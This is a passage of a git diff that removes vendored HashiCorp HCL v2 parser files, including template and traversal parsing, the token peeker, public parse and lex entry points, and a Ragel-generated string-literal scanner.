p.recover(TokenTemplateSeqEnd) - p.PopIncludeNewlines() - continue Token - } - - valName = string(p.Read().Bytes) - - if p.Peek().Type == TokenComma { - // What we just read was actually the key, then. - keyName = valName - p.Read() // eat comma - - if p.Peek().Type != TokenIdent { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' directive", - Detail: "For directive requires value variable name after comma.", - Subject: p.Peek().Range.Ptr(), - }) - } - p.recover(TokenTemplateSeqEnd) - p.PopIncludeNewlines() - continue Token - } - - valName = string(p.Read().Bytes) - } - - if !inKeyword.TokenMatches(p.Peek()) { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' directive", - Detail: "For directive requires 'in' keyword after names.", - Subject: p.Peek().Range.Ptr(), - }) - } - p.recover(TokenTemplateSeqEnd) - p.PopIncludeNewlines() - continue Token - } - p.Read() // eat 'in' keyword - - collExpr, collDiags := p.ParseExpression() - diags = append(diags, collDiags...) - parts = append(parts, &templateForToken{ - KeyVar: keyName, - ValVar: valName, - CollExpr: collExpr, - - SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), - }) - - case endforKeyword.TokenMatches(kw): - parts = append(parts, &templateEndCtrlToken{ - Type: templateEndFor, - SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), - }) - - default: - if !p.recovery { - suggestions := []string{"if", "for", "else", "endif", "endfor"} - given := string(kw.Bytes) - suggestion := nameSuggestion(given, suggestions) - if suggestion != "" { - suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid template control keyword", - Detail: fmt.Sprintf("%q is not a valid template control keyword.%s", given, suggestion), - Subject: &kw.Range, - Context: hcl.RangeBetween(next.Range, kw.Range).Ptr(), - }) - } - p.recover(TokenTemplateSeqEnd) - p.PopIncludeNewlines() - continue Token - - } - - close := p.Peek() - if close.Type != TokenTemplateSeqEnd { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Extra characters in %s marker", kw.Bytes), - Detail: "Expected a closing brace to end the sequence, but found extra characters.", - Subject: &close.Range, - Context: hcl.RangeBetween(startRange, close.Range).Ptr(), - }) - } - p.recover(TokenTemplateSeqEnd) - } else { - p.Read() // eat closing brace - - // If the closer is ~} then we want to eat any leading - // whitespace on the next token, if it turns out to be a - // literal token. - if len(close.Bytes) == 2 && close.Bytes[0] == '~' { - ltrimNext = true - } - } - p.PopIncludeNewlines() - - default: - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unterminated template string", - Detail: "No closing marker was found for the string.", - Subject: &next.Range, - Context: hcl.RangeBetween(startRange, next.Range).Ptr(), - }) - } - final := p.recover(end) - endRange = final.Range - break Token - } - } - - if len(parts) == 0 { - // If a sequence has no content, we'll treat it as if it had an - // empty string in it because that's what the user probably means - // if they write "" in configuration. - parts = append(parts, &templateLiteralToken{ - Val: "", - SrcRange: hcl.Range{ - // Range is the zero-character span immediately after the - // opening quote. - Filename: startRange.Filename, - Start: startRange.End, - End: startRange.End, - }, - }) - } - - // Always end with an end token, so the parser can produce diagnostics - // about unclosed items with proper position information. - parts = append(parts, &templateEndToken{ - SrcRange: endRange, - }) - - ret := &templateParts{ - Tokens: parts, - SrcRange: hcl.RangeBetween(startRange, endRange), - } - - return ret, diags -} - -// flushHeredocTemplateParts modifies in-place the line-leading literal strings -// to apply the flush heredoc processing rule: find the line with the smallest -// number of whitespace characters as prefix and then trim that number of -// characters from all of the lines. -// -// This rule is applied to static tokens rather than to the rendered result, -// so interpolating a string with leading whitespace cannot affect the chosen -// prefix length. -func flushHeredocTemplateParts(parts *templateParts) { - if len(parts.Tokens) == 0 { - // Nothing to do - return - } - - const maxInt = int((^uint(0)) >> 1) - - minSpaces := maxInt - newline := true - var adjust []*templateLiteralToken - for _, ttok := range parts.Tokens { - if newline { - newline = false - var spaces int - if lit, ok := ttok.(*templateLiteralToken); ok { - orig := lit.Val - trimmed := strings.TrimLeftFunc(orig, unicode.IsSpace) - // If a token is entirely spaces and ends with a newline - // then it's a "blank line" and thus not considered for - // space-prefix-counting purposes. - if len(trimmed) == 0 && strings.HasSuffix(orig, "\n") { - spaces = maxInt - } else { - spaceBytes := len(lit.Val) - len(trimmed) - spaces, _ = textseg.TokenCount([]byte(orig[:spaceBytes]), textseg.ScanGraphemeClusters) - adjust = append(adjust, lit) - } - } else if _, ok := ttok.(*templateEndToken); ok { - break // don't process the end token since it never has spaces before it - } - if spaces < minSpaces { - minSpaces = spaces - } - } - if lit, ok := ttok.(*templateLiteralToken); ok { - if strings.HasSuffix(lit.Val, "\n") { - newline = true // The following token, if any, begins a new line - } - } - } - - for _, lit := range adjust { - // Since we want to count space _characters_ rather than space _bytes_, - // we can't just do a straightforward slice operation here and instead - // need to hunt for the split point with a scanner. - valBytes := []byte(lit.Val) - spaceByteCount := 0 - for i := 0; i < minSpaces; i++ { - adv, _, _ := textseg.ScanGraphemeClusters(valBytes, true) - spaceByteCount += adv - valBytes = valBytes[adv:] - } - lit.Val = lit.Val[spaceByteCount:] - lit.SrcRange.Start.Column += minSpaces - lit.SrcRange.Start.Byte += spaceByteCount - } -} - -type templateParts struct { - Tokens []templateToken - SrcRange hcl.Range -} - -// templateToken is a higher-level token that represents a single atom within -// the template language. Our template parsing first raises the raw token -// stream to a sequence of templateToken, and then transforms the result into -// an expression tree. -type templateToken interface { - templateToken() templateToken -} - -type templateLiteralToken struct { - Val string - SrcRange hcl.Range - isTemplateToken -} - -type templateInterpToken struct { - Expr Expression - SrcRange hcl.Range - isTemplateToken -} - -type templateIfToken struct { - CondExpr Expression - SrcRange hcl.Range - isTemplateToken -} - -type templateForToken struct { - KeyVar string // empty if ignoring key - ValVar string - CollExpr Expression - SrcRange hcl.Range - isTemplateToken -} - -type templateEndCtrlType int - -const ( - templateEndIf templateEndCtrlType = iota - templateElse - templateEndFor -) - -type templateEndCtrlToken struct { - Type templateEndCtrlType - SrcRange hcl.Range - isTemplateToken -} - -func (t *templateEndCtrlToken) Name() string { - switch t.Type { - case templateEndIf: - return "endif" - case templateElse: - return "else" - case templateEndFor: - return "endfor" - default: - // should never happen - panic("invalid templateEndCtrlType") - } -} - -type templateEndToken struct { - SrcRange hcl.Range - isTemplateToken -} - -type isTemplateToken [0]int - -func (t isTemplateToken) templateToken() templateToken { - return t -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser_traversal.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser_traversal.go deleted file mode 100644 index 7dcb0fd341..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser_traversal.go +++ /dev/null @@ -1,159 +0,0 @@ -package hclsyntax - -import ( - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" -) - -// ParseTraversalAbs parses an absolute traversal that is assumed to consume -// all of the remaining tokens in the peeker. The usual parser recovery -// behavior is not supported here because traversals are not expected to -// be parsed as part of a larger program. -func (p *parser) ParseTraversalAbs() (hcl.Traversal, hcl.Diagnostics) { - var ret hcl.Traversal - var diags hcl.Diagnostics - - // Absolute traversal must always begin with a variable name - varTok := p.Read() - if varTok.Type != TokenIdent { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Variable name required", - Detail: "Must begin with a variable name.", - Subject: &varTok.Range, - }) - return ret, diags - } - - varName := string(varTok.Bytes) - ret = append(ret, hcl.TraverseRoot{ - Name: varName, - SrcRange: varTok.Range, - }) - - for { - next := p.Peek() - - if next.Type == TokenEOF { - return ret, diags - } - - switch next.Type { - case TokenDot: - // Attribute access - dot := p.Read() // eat dot - nameTok := p.Read() - if nameTok.Type != TokenIdent { - if nameTok.Type == TokenStar { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Attribute name required", - Detail: "Splat expressions (.*) may not be used here.", - Subject: &nameTok.Range, - Context: hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(), - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Attribute name required", - Detail: "Dot must be followed by attribute name.", - Subject: &nameTok.Range, - Context: hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(), - }) - } - return ret, diags - } - - attrName := string(nameTok.Bytes) - ret = append(ret, hcl.TraverseAttr{ - Name: attrName, - SrcRange: hcl.RangeBetween(dot.Range, nameTok.Range), - }) - case TokenOBrack: - // Index - open := p.Read() // eat open bracket - next := p.Peek() - - switch next.Type { - case TokenNumberLit: - tok := p.Read() // eat number - numVal, numDiags := p.numberLitValue(tok) - diags = append(diags, numDiags...) - - close := p.Read() - if close.Type != TokenCBrack { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unclosed index brackets", - Detail: "Index key must be followed by a closing bracket.", - Subject: &close.Range, - Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), - }) - } - - ret = append(ret, hcl.TraverseIndex{ - Key: numVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }) - - if diags.HasErrors() { - return ret, diags - } - - case TokenOQuote: - str, _, strDiags := p.parseQuotedStringLiteral() - diags = append(diags, strDiags...) - - close := p.Read() - if close.Type != TokenCBrack { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unclosed index brackets", - Detail: "Index key must be followed by a closing bracket.", - Subject: &close.Range, - Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), - }) - } - - ret = append(ret, hcl.TraverseIndex{ - Key: cty.StringVal(str), - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }) - - if diags.HasErrors() { - return ret, diags - } - - default: - if next.Type == TokenStar { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Attribute name required", - Detail: "Splat expressions ([*]) may not be used here.", - Subject: &next.Range, - Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Index value required", - Detail: "Index brackets must contain either a literal number or a literal string.", - Subject: &next.Range, - Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), - }) - } - return ret, diags - } - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid character", - Detail: "Expected an attribute access or an index operator.", - Subject: &next.Range, - Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), - }) - return ret, diags - } - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/peeker.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/peeker.go deleted file mode 100644 index f056f906e3..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/peeker.go +++ /dev/null @@ -1,212 +0,0 @@ -package hclsyntax - -import ( - "bytes" - "fmt" - "path/filepath" - "runtime" - "strings" - - "github.com/hashicorp/hcl/v2" -) - -// This is set to true at init() time in tests, to enable more useful output -// if a stack discipline error is detected. It should not be enabled in -// normal mode since there is a performance penalty from accessing the -// runtime stack to produce the traces, but could be temporarily set to -// true for debugging if desired. -var tracePeekerNewlinesStack = false - -type peeker struct { - Tokens Tokens - NextIndex int - - IncludeComments bool - IncludeNewlinesStack []bool - - // used only when tracePeekerNewlinesStack is set - newlineStackChanges []peekerNewlineStackChange -} - -// for use in debugging the stack usage only -type peekerNewlineStackChange struct { - Pushing bool // if false, then popping - Frame runtime.Frame - Include bool -} - -func newPeeker(tokens Tokens, includeComments bool) *peeker { - return &peeker{ - Tokens: tokens, - IncludeComments: includeComments, - - IncludeNewlinesStack: []bool{true}, - } -} - -func (p *peeker) Peek() Token { - ret, _ := p.nextToken() - return ret -} - -func (p *peeker) Read() Token { - ret, nextIdx := p.nextToken() - p.NextIndex = nextIdx - return ret -} - -func (p *peeker) NextRange() hcl.Range { - return p.Peek().Range -} - -func (p *peeker) PrevRange() hcl.Range { - if p.NextIndex == 0 { - return p.NextRange() - } - - return p.Tokens[p.NextIndex-1].Range -} - -func (p *peeker) nextToken() (Token, int) { - for i := p.NextIndex; i < len(p.Tokens); i++ { - tok := p.Tokens[i] - switch tok.Type { - case TokenComment: - if !p.IncludeComments { - // Single-line comment tokens, starting with # or //, absorb - // the trailing newline that terminates them as part of their - // bytes. When we're filtering out comments, we must as a - // special case transform these to newline tokens in order - // to properly parse newline-terminated block items. - - if p.includingNewlines() { - if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { - fakeNewline := Token{ - Type: TokenNewline, - Bytes: tok.Bytes[len(tok.Bytes)-1 : len(tok.Bytes)], - - // We use the whole token range as the newline - // range, even though that's a little... weird, - // because otherwise we'd need to go count - // characters again in order to figure out the - // column of the newline, and that complexity - // isn't justified when ranges of newlines are - // so rarely printed anyway. - Range: tok.Range, - } - return fakeNewline, i + 1 - } - } - - continue - } - case TokenNewline: - if !p.includingNewlines() { - continue - } - } - - return tok, i + 1 - } - - // if we fall out here then we'll return the EOF token, and leave - // our index pointed off the end of the array so we'll keep - // returning EOF in future too. - return p.Tokens[len(p.Tokens)-1], len(p.Tokens) -} - -func (p *peeker) includingNewlines() bool { - return p.IncludeNewlinesStack[len(p.IncludeNewlinesStack)-1] -} - -func (p *peeker) PushIncludeNewlines(include bool) { - if tracePeekerNewlinesStack { - // Record who called us so that we can more easily track down any - // mismanagement of the stack in the parser. - callers := []uintptr{0} - runtime.Callers(2, callers) - frames := runtime.CallersFrames(callers) - frame, _ := frames.Next() - p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{ - true, frame, include, - }) - } - - p.IncludeNewlinesStack = append(p.IncludeNewlinesStack, include) -} - -func (p *peeker) PopIncludeNewlines() bool { - stack := p.IncludeNewlinesStack - remain, ret := stack[:len(stack)-1], stack[len(stack)-1] - p.IncludeNewlinesStack = remain - - if tracePeekerNewlinesStack { - // Record who called us so that we can more easily track down any - // mismanagement of the stack in the parser. - callers := []uintptr{0} - runtime.Callers(2, callers) - frames := runtime.CallersFrames(callers) - frame, _ := frames.Next() - p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{ - false, frame, ret, - }) - } - - return ret -} - -// AssertEmptyNewlinesStack checks if the IncludeNewlinesStack is empty, doing -// panicking if it is not. This can be used to catch stack mismanagement that -// might otherwise just cause confusing downstream errors. -// -// This function is a no-op if the stack is empty when called. -// -// If newlines stack tracing is enabled by setting the global variable -// tracePeekerNewlinesStack at init time, a full log of all of the push/pop -// calls will be produced to help identify which caller in the parser is -// misbehaving. -func (p *peeker) AssertEmptyIncludeNewlinesStack() { - if len(p.IncludeNewlinesStack) != 1 { - // Should never happen; indicates mismanagement of the stack inside - // the parser. - if p.newlineStackChanges != nil { // only if traceNewlinesStack is enabled above - panic(fmt.Errorf( - "non-empty IncludeNewlinesStack after parse with %d calls unaccounted for:\n%s", - len(p.IncludeNewlinesStack)-1, - formatPeekerNewlineStackChanges(p.newlineStackChanges), - )) - } else { - panic(fmt.Errorf("non-empty IncludeNewlinesStack after parse: %#v", p.IncludeNewlinesStack)) - } - } -} - -func formatPeekerNewlineStackChanges(changes []peekerNewlineStackChange) string { - indent := 0 - var buf bytes.Buffer - for _, change := range changes { - funcName := change.Frame.Function - if idx := strings.LastIndexByte(funcName, '.'); idx != -1 { - funcName = funcName[idx+1:] - } - filename := change.Frame.File - if idx := strings.LastIndexByte(filename, filepath.Separator); idx != -1 { - filename = filename[idx+1:] - } - - switch change.Pushing { - - case true: - buf.WriteString(strings.Repeat(" ", indent)) - fmt.Fprintf(&buf, "PUSH %#v (%s at %s:%d)\n", change.Include, funcName, filename, change.Frame.Line) - indent++ - - case false: - indent-- - buf.WriteString(strings.Repeat(" ", indent)) - fmt.Fprintf(&buf, "POP %#v (%s at %s:%d)\n", change.Include, funcName, filename, change.Frame.Line) - - } - } - return buf.String() -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/public.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/public.go deleted file mode 100644 index 0b68efd600..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/public.go +++ /dev/null @@ -1,171 +0,0 @@ -package hclsyntax - -import ( - "github.com/hashicorp/hcl/v2" -) - -// ParseConfig parses the given buffer as a whole HCL config file, returning -// a *hcl.File representing its contents. If HasErrors called on the returned -// diagnostics returns true, the returned body is likely to be incomplete -// and should therefore be used with care. -// -// The body in the returned file has dynamic type *hclsyntax.Body, so callers -// may freely type-assert this to get access to the full hclsyntax API in -// situations where detailed access is required. However, most common use-cases -// should be served using the hcl.Body interface to ensure compatibility with -// other configurationg syntaxes, such as JSON. -func ParseConfig(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) { - tokens, diags := LexConfig(src, filename, start) - peeker := newPeeker(tokens, false) - parser := &parser{peeker: peeker} - body, parseDiags := parser.ParseBody(TokenEOF) - diags = append(diags, parseDiags...) - - // Panic if the parser uses incorrect stack discipline with the peeker's - // newlines stack, since otherwise it will produce confusing downstream - // errors. - peeker.AssertEmptyIncludeNewlinesStack() - - return &hcl.File{ - Body: body, - Bytes: src, - - Nav: navigation{ - root: body, - }, - }, diags -} - -// ParseExpression parses the given buffer as a standalone HCL expression, -// returning it as an instance of Expression. -func ParseExpression(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) { - tokens, diags := LexExpression(src, filename, start) - peeker := newPeeker(tokens, false) - parser := &parser{peeker: peeker} - - // Bare expressions are always parsed in "ignore newlines" mode, as if - // they were wrapped in parentheses. - parser.PushIncludeNewlines(false) - - expr, parseDiags := parser.ParseExpression() - diags = append(diags, parseDiags...) - - next := parser.Peek() - if next.Type != TokenEOF && !parser.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Extra characters after expression", - Detail: "An expression was successfully parsed, but extra characters were found after it.", - Subject: &next.Range, - }) - } - - parser.PopIncludeNewlines() - - // Panic if the parser uses incorrect stack discipline with the peeker's - // newlines stack, since otherwise it will produce confusing downstream - // errors. - peeker.AssertEmptyIncludeNewlinesStack() - - return expr, diags -} - -// ParseTemplate parses the given buffer as a standalone HCL template, -// returning it as an instance of Expression. -func ParseTemplate(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) { - tokens, diags := LexTemplate(src, filename, start) - peeker := newPeeker(tokens, false) - parser := &parser{peeker: peeker} - expr, parseDiags := parser.ParseTemplate() - diags = append(diags, parseDiags...) - - // Panic if the parser uses incorrect stack discipline with the peeker's - // newlines stack, since otherwise it will produce confusing downstream - // errors. - peeker.AssertEmptyIncludeNewlinesStack() - - return expr, diags -} - -// ParseTraversalAbs parses the given buffer as a standalone absolute traversal. -// -// Parsing as a traversal is more limited than parsing as an expession since -// it allows only attribute and indexing operations on variables. Traverals -// are useful as a syntax for referring to objects without necessarily -// evaluating them. -func ParseTraversalAbs(src []byte, filename string, start hcl.Pos) (hcl.Traversal, hcl.Diagnostics) { - tokens, diags := LexExpression(src, filename, start) - peeker := newPeeker(tokens, false) - parser := &parser{peeker: peeker} - - // Bare traverals are always parsed in "ignore newlines" mode, as if - // they were wrapped in parentheses. - parser.PushIncludeNewlines(false) - - expr, parseDiags := parser.ParseTraversalAbs() - diags = append(diags, parseDiags...) - - parser.PopIncludeNewlines() - - // Panic if the parser uses incorrect stack discipline with the peeker's - // newlines stack, since otherwise it will produce confusing downstream - // errors. - peeker.AssertEmptyIncludeNewlinesStack() - - return expr, diags -} - -// LexConfig performs lexical analysis on the given buffer, treating it as a -// whole HCL config file, and returns the resulting tokens. -// -// Only minimal validation is done during lexical analysis, so the returned -// diagnostics may include errors about lexical issues such as bad character -// encodings or unrecognized characters, but full parsing is required to -// detect _all_ syntax errors. -func LexConfig(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { - tokens := scanTokens(src, filename, start, scanNormal) - diags := checkInvalidTokens(tokens) - return tokens, diags -} - -// LexExpression performs lexical analysis on the given buffer, treating it as -// a standalone HCL expression, and returns the resulting tokens. -// -// Only minimal validation is done during lexical analysis, so the returned -// diagnostics may include errors about lexical issues such as bad character -// encodings or unrecognized characters, but full parsing is required to -// detect _all_ syntax errors. -func LexExpression(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { - // This is actually just the same thing as LexConfig, since configs - // and expressions lex in the same way. - tokens := scanTokens(src, filename, start, scanNormal) - diags := checkInvalidTokens(tokens) - return tokens, diags -} - -// LexTemplate performs lexical analysis on the given buffer, treating it as a -// standalone HCL template, and returns the resulting tokens. -// -// Only minimal validation is done during lexical analysis, so the returned -// diagnostics may include errors about lexical issues such as bad character -// encodings or unrecognized characters, but full parsing is required to -// detect _all_ syntax errors. -func LexTemplate(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { - tokens := scanTokens(src, filename, start, scanTemplate) - diags := checkInvalidTokens(tokens) - return tokens, diags -} - -// ValidIdentifier tests if the given string could be a valid identifier in -// a native syntax expression. -// -// This is useful when accepting names from the user that will be used as -// variable or attribute names in the scope, to ensure that any name chosen -// will be traversable using the variable or attribute traversal syntax. -func ValidIdentifier(s string) bool { - // This is a kinda-expensive way to do something pretty simple, but it - // is easiest to do with our existing scanner-related infrastructure here - // and nobody should be validating identifiers in a tight loop. - tokens := scanTokens([]byte(s), "", hcl.Pos{}, scanIdentOnly) - return len(tokens) == 2 && tokens[0].Type == TokenIdent && tokens[1].Type == TokenEOF -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_string_lit.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_string_lit.go deleted file mode 100644 index 2895ade758..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_string_lit.go +++ /dev/null @@ -1,301 +0,0 @@ -//line scan_string_lit.rl:1 - -package hclsyntax - -// This file is generated from scan_string_lit.rl. DO NOT EDIT. - -//line scan_string_lit.go:9 -var _hclstrtok_actions []byte = []byte{ - 0, 1, 0, 1, 1, 2, 1, 0, -} - -var _hclstrtok_key_offsets []byte = []byte{ - 0, 0, 2, 4, 6, 10, 14, 18, - 22, 27, 31, 36, 41, 46, 51, 57, - 62, 74, 85, 96, 107, 118, 129, 140, - 151, -} - -var _hclstrtok_trans_keys []byte = []byte{ - 128, 191, 128, 191, 128, 191, 10, 13, - 36, 37, 10, 13, 36, 37, 10, 13, - 36, 37, 10, 13, 36, 37, 10, 13, - 36, 37, 123, 10, 13, 36, 37, 10, - 13, 36, 37, 92, 10, 13, 36, 37, - 92, 10, 13, 36, 37, 92, 10, 13, - 36, 37, 92, 10, 13, 36, 37, 92, - 123, 10, 13, 36, 37, 92, 85, 117, - 128, 191, 192, 223, 224, 239, 240, 247, - 248, 255, 10, 13, 36, 37, 92, 48, - 57, 65, 70, 97, 102, 10, 13, 36, - 37, 92, 48, 57, 65, 70, 97, 102, - 10, 13, 36, 37, 92, 48, 57, 65, - 70, 97, 102, 10, 13, 36, 37, 92, - 48, 57, 65, 70, 97, 102, 10, 13, - 36, 37, 92, 48, 57, 65, 70, 97, - 102, 10, 13, 36, 37, 92, 48, 57, - 65, 70, 97, 102, 10, 13, 36, 37, - 92, 48, 57, 65, 70, 97, 102, 10, - 13, 36, 37, 92, 48, 57, 65, 70, - 97, 102, -} - -var _hclstrtok_single_lengths []byte = []byte{ - 0, 0, 0, 0, 4, 4, 4, 4, - 5, 4, 5, 5, 5, 5, 6, 5, - 2, 5, 5, 5, 5, 5, 5, 5, - 5, -} - -var _hclstrtok_range_lengths []byte = []byte{ - 0, 1, 1, 1, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 5, 3, 3, 3, 3, 3, 3, 3, - 3, -} - -var _hclstrtok_index_offsets []byte = []byte{ - 0, 0, 2, 4, 6, 11, 16, 21, - 26, 32, 37, 43, 49, 55, 61, 68, - 74, 82, 91, 100, 109, 118, 127, 136, - 145, -} - -var _hclstrtok_indicies []byte = []byte{ - 0, 1, 2, 1, 3, 1, 5, 6, - 7, 8, 4, 10, 11, 12, 13, 9, - 14, 11, 12, 13, 9, 10, 11, 15, - 13, 9, 10, 11, 12, 13, 14, 9, - 10, 11, 12, 15, 9, 17, 18, 19, - 20, 21, 16, 23, 24, 25, 26, 27, - 22, 0, 24, 25, 26, 27, 22, 23, - 24, 28, 26, 27, 22, 23, 24, 25, - 26, 27, 0, 22, 23, 24, 25, 28, - 27, 22, 29, 30, 22, 2, 3, 31, - 22, 0, 23, 24, 25, 26, 27, 32, - 32, 32, 22, 23, 24, 25, 26, 27, - 33, 33, 33, 22, 23, 24, 25, 26, - 27, 34, 34, 34, 22, 23, 24, 25, - 26, 27, 30, 30, 30, 22, 23, 24, - 25, 26, 27, 35, 35, 35, 22, 23, - 24, 25, 26, 27, 36, 36, 36, 22, - 23, 24, 25, 26, 27, 37, 37, 37, - 22, 23, 24, 25, 26, 27, 0, 0, - 0, 22, -} - -var _hclstrtok_trans_targs []byte = []byte{ - 11, 0, 1, 2, 4, 5, 6, 7, - 9, 4, 5, 6, 7, 9, 5, 8, - 10, 11, 12, 13, 15, 16, 10, 11, - 12, 13, 15, 16, 14, 17, 21, 3, - 18, 19, 20, 22, 23, 24, -} - -var _hclstrtok_trans_actions []byte = []byte{ - 0, 0, 0, 0, 0, 1, 1, 1, - 1, 3, 5, 5, 5, 5, 0, 0, - 0, 1, 1, 1, 1, 1, 3, 5, - 5, 5, 5, 5, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, -} - -var _hclstrtok_eof_actions []byte = []byte{ - 0, 0, 0, 0, 0, 3, 3, 3, - 3, 3, 0, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, -} - -const hclstrtok_start int = 4 -const hclstrtok_first_final int = 4 -const hclstrtok_error int = 0 - -const hclstrtok_en_quoted int = 10 -const hclstrtok_en_unquoted int = 4 - -//line scan_string_lit.rl:10 - -func scanStringLit(data []byte, quoted bool) [][]byte { - var ret [][]byte - -//line scan_string_lit.rl:61 - - // Ragel state - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - ts := 0 - te := 0 - eof := pe - - var cs int // current state - switch { - case quoted: - cs = hclstrtok_en_quoted - default: - cs = hclstrtok_en_unquoted - } - - // Make Go compiler happy - _ = ts - _ = eof - - /*token := func () { - ret = append(ret, data[ts:te]) - }*/ - -//line scan_string_lit.go:154 - { - } - -//line scan_string_lit.go:158 - { - var _klen int - var _trans int - var _acts int - var _nacts uint - var _keys int - if p == pe { - goto _test_eof - } - if cs == 0 { - goto _out - } - _resume: - _keys = int(_hclstrtok_key_offsets[cs]) - _trans = int(_hclstrtok_index_offsets[cs]) - - _klen = int(_hclstrtok_single_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + _klen - 1) - for { - if _upper < _lower { - break - } - - _mid = _lower + ((_upper - _lower) >> 1) - switch { - case data[p] < _hclstrtok_trans_keys[_mid]: - _upper = _mid - 1 - case data[p] > _hclstrtok_trans_keys[_mid]: - _lower = _mid + 1 - default: - _trans += int(_mid - int(_keys)) - goto _match - } - } - _keys += _klen - _trans += _klen - } - - _klen = int(_hclstrtok_range_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + (_klen << 1) - 2) - for { - if _upper < _lower { - break - } - - _mid = _lower + (((_upper - _lower) >> 1) & ^1) - switch { - case data[p] < _hclstrtok_trans_keys[_mid]: - _upper = _mid - 2 - case data[p] > _hclstrtok_trans_keys[_mid+1]: - _lower = _mid + 2 - default: - _trans += int((_mid - int(_keys)) >> 1) - goto _match - } - } - _trans += _klen - } - - _match: - _trans = int(_hclstrtok_indicies[_trans]) - cs = int(_hclstrtok_trans_targs[_trans]) - - if _hclstrtok_trans_actions[_trans] == 0 { - goto _again - } - - _acts = int(_hclstrtok_trans_actions[_trans]) - _nacts = uint(_hclstrtok_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _hclstrtok_actions[_acts-1] { - case 0: -//line scan_string_lit.rl:40 - - // If te is behind p then we've skipped over some literal - // characters which we must now return. - if te < p { - ret = append(ret, data[te:p]) - } - ts = p - - case 1: -//line scan_string_lit.rl:48 - - te = p - ret = append(ret, data[ts:te]) - -//line scan_string_lit.go:253 - } - } - - _again: - if cs == 0 { - goto _out - } - p++ - if p != pe { - goto _resume - } - _test_eof: - { - } - if p == eof { - __acts := _hclstrtok_eof_actions[cs] - __nacts := uint(_hclstrtok_actions[__acts]) - __acts++ - for ; __nacts > 0; __nacts-- { - __acts++ - switch _hclstrtok_actions[__acts-1] { - case 1: -//line scan_string_lit.rl:48 - - te = p - ret = append(ret, data[ts:te]) - -//line scan_string_lit.go:278 - } - } - } - - _out: - { - } - } - -//line scan_string_lit.rl:89 - - if te < p { - // Collect any leftover literal characters at the end of the input - ret = append(ret, data[te:p]) - } - - // If we fall out here without being in a final state then we've - // encountered something that the scanner can't match, which should - // be impossible (the scanner matches all bytes _somehow_) but we'll - // tolerate it and let the caller deal with it. - if cs < hclstrtok_first_final { - ret = append(ret, data[p:len(data)]) - } - - return ret -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_string_lit.rl b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_string_lit.rl deleted file mode 100644 index f8ac117516..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_string_lit.rl +++ /dev/null @@ -1,105 +0,0 @@ - -package hclsyntax - -// This file is generated from scan_string_lit.rl. DO NOT EDIT. -%%{ - # 